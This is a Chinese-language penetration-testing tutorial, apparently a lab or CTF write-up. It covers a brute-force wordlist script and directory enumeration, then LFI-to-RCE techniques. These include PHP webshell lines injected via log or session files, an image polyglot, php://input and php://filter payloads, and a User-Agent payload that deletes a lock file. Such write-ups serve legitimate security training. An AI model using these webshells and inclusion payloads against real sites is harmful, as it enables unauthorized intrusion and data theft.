渗透测试基础——黑盒测试下的Web漏洞挖掘与利用解析(二)

本文从弱口令爆破、目录枚举,到本地文件包含 LFI 的多种 getshell 手法,系统梳理了 Web 安全渗透的核心场景。无论是日志文件注入、Session 文件利用,还是 PHP 伪协议的实战技巧,都讲清了原理与利用条件,是从基础到进阶的实用参考,帮你快速掌握渗透测试的关键思路。

文章目录


情景四:构造脚本爆破密码

提示:密码前2位是小写字母,后三位是数字

这里我们还是打开网页,惯例尝试URL处是否存在SQL注入:

随后后台管理系统,尝试登陆:

这次的万能密码竟然失败了;

但是在翻看源代码的时候,发现了一个图片:

而这个与题目给我们的提示"密码前2位是小写字母,后三位是数字"相关联,所以这里编写一个简单的python脚本:

python 复制代码
import itertools
import string

letters = string.ascii_lowercase # 默认所有的小写字母a-z
digits = string.digits # 0-9

output_file = '1.txt'

with open('1.txt','w',encoding='utf-8') as f:
    for l1,l2,d1,d2,d3 in itertools.product(letters,letters,digits,digits,digits):
        password = l1+l2+d1+d2+d3

        f.write(password+'\n')


print(f"成功写入所有密码组合")

随后进行爆破,成功得到最终密码xy123:

情景五:敏感文件泄露

Web目录枚举

还是老样子,先进行Web目录枚举:

但这次不一样,发现了新的目录:

bash 复制代码
/install/
/install/index.php?upgrade/

访问一下 /install目录,得到如下结果:

根据提示访问 /install/?install,得到结果:

弱口令爆破

因为不知道默认密码,因此我们尝试进行弱口令爆破:

这里让GPT生成了几个弱口令:

成功爆破得到结果:

情景六:弱口令爆破

Web目录枚举

还是老样子:

访问 /install 目录,得到了一个新文件名:lock.dat

再访问 /clear.php页面,成功重置密码:

再次进行爆破,密码还是一样:

(但这里我反倒试不出了,不管了,知道方法就行)

情景七:本地文件包含LFI

前面部分和上一关一样

这里我们扫描,发现了一个新目录:/debug

这里robots.txt文件也提示我们访问该目录:

随后访问,发现为"文件不存在":

看到 file not exist 说明 file 参数确实被用来读取文件,但传入的路径不存在 / 被过滤了。

  • 所以接下来我们可以确定一下参数名
bash 复制代码
/debug/?file=index.php
/debug/?file=debug.php

得到结果:

说明确实存在本地文件包含LFI漏洞:

之前也写过文章,感兴趣的可以看一下:Tomato 靶场完整渗透思路(本地文件包含LFI,脏牛提取)

本地文件包含getshell的几种方式

本地文件包含(Local File Inclusion,LFI)是 Web 安全中一种较常见的漏洞,攻击者可以通过服务器端动态包含文件的功能,读取服务器上的敏感文件。在某些情况下,如果服务器配置不当,LFI 还能够进一步升级为远程代码执行(RCE),最终实现 getshell。

以下是几种常见的 LFI getshell 方式的简单介绍。

1. 日志文件包含 Getshell

这是最经典的 LFI 利用方式之一。

原理

Web 服务器会记录访问日志,例如 Apache、Nginx 的 access.log。攻击者可以在 User-Agent、Referer 等 HTTP 头中插入 PHP 代码:

php 复制代码
<?php system($_GET['cmd']); ?>

服务器记录日志后,再利用 LFI 去包含日志文件:

php 复制代码
?page=/var/log/apache2/access.log

如果日志中的 PHP 代码被解析执行,即可获得 WebShell。

bash 复制代码
# 常见日志路径
Linux:
/var/log/apache2/access.log
/var/log/nginx/access.log

Windows:
C:\xampp\apache\logs\access.log
条件
  • 目标存在 LFI
  • 日志文件可读
  • PHP 以解析方式包含日志

2. Session 文件包含 Getshell

PHP 默认会将 Session 数据存储为文件。

原理

攻击者先向 Session 中写入恶意 PHP 代码,例如:

php 复制代码
<?php eval($_POST['x']); ?>

然后利用 LFI 包含对应 Session 文件:

php 复制代码
?page=/tmp/sess_xxxxxx

若 Session 文件被 PHP 解析,则可执行代码。

bash 复制代码
# 常见 Session 路径
Linux:
/tmp/
/var/lib/php/sessions/

Windows:
C:\Windows\Temp\
条件
  • Session 可控
  • Session 文件路径可预测
  • include 时会被 PHP 解析

3. 上传文件配合 LFI Getshell

有些网站允许上传图片、头像等文件。

原理

攻击者上传一个包含 PHP 代码的文件,例如:

php 复制代码
GIF89a
<?php phpinfo(); ?>

虽然扩展名可能是 .jpg,但如果服务器只是检查后缀而不检查内容,则文件中依旧存在 PHP 代码。

随后通过 LFI 包含上传文件:

php 复制代码
?page=uploads/test.jpg

若服务器解析其中的 PHP 代码,则 getshell 成功。

条件
  • 存在文件上传功能
  • 上传目录路径可知
  • LFI 可包含上传文件

4. PHP 伪协议利用

PHP 支持多种伪协议,可以配合 LFI 使用。

(1)php://input

当目标代码类似:

php 复制代码
include($_GET['page']);

攻击者可构造:

bash 复制代码
?page=php://input

POST 数据中写入:

php 复制代码
<?php system('id'); ?>

服务器包含输入流后执行代码。

(2)php://filter

常用于源码读取:

bash 复制代码
php://filter/read=convert.base64-encode/resource=index.php

虽然一般不能直接 getshell,但可用于读取源码、获取数据库密码等敏感信息,为后续利用做准备。


解题思路

了解了上述几种常见的getshell方式,所以我们可以尝试一下日志注入

首先还是访问 /install 目录,做了这么久,大概可以猜测出该文件的路径为:/var/www/html/install/lock.dat

所以这里我们可以利用 UA头写入脚本删除lock.dat文件,然后在进行密码爆破:(也可以用BP进行)

bash 复制代码
<?php unlink('/var/www/html/install/lock.dat');?>

随后访问日志的位置:(不知道?)

  • payload:?file=/etc/os-release
  • 日志位置:/var/log/nginx/access.log

检查日志,成功注入刚才的PHP脚本(再次访问/install,发现成功删除lock.dat)

其他步骤跟之前一样,密码爆破,成功得到flag:

总结

期待下次再见;

相关推荐
QianhangQianping8 分钟前
撤销重做不是「存快照」:一个可视化编辑器的Operation 设计
java·前端·数据库·typescript·编辑器·前端架构·撤销重做
Android系统攻城狮13 分钟前
Linux FFmpeg深度解析之av_dump_format调用流程与实战(十一)
linux·运维·服务器·ffmpeg·1024程序员节·音视频进阶
2301_7807896615 分钟前
智能汽车的“软肋”:车载系统漏洞分析与安全防护框架初探
网络·安全·车载系统·汽车·ddos
吴名氏.21 分钟前
Java转AI Agent教程(第二周)超时重试与错误分类
java·人工智能·python·分类·ai agent
青少儿编程课堂22 分钟前
2026蓝桥杯·全国青少年信息素养大赛·电子学会Python/C++考级:堆排序与优先队列解析
c++·python·算法·bfs·信息学竞赛
Eiceblue23 分钟前
用 Python 给 Word 文档加水印:文字、图片与批量处理
开发语言·vscode·python·word
Android系统攻城狮27 分钟前
Linux FFmpeg深度解析之avcodec_find_decoder调用流程与实战(十二)
linux·运维·服务器·ffmpeg·1024程序员节·音视频进阶
小白的码BUG之路36 分钟前
K8s -- 启动一主二从节点
linux·运维·服务器
Android小码家37 分钟前
framework&framework-minus-apex&android.jar的区别
android·python·jar
lee_curry41 分钟前
第十周完整学习笔记:继续升级为“检索更准、权限安全、索引可维护、失败可恢复、长期可运行”的企业级 RAG 系统
python·ai·langchain·agent·langgraph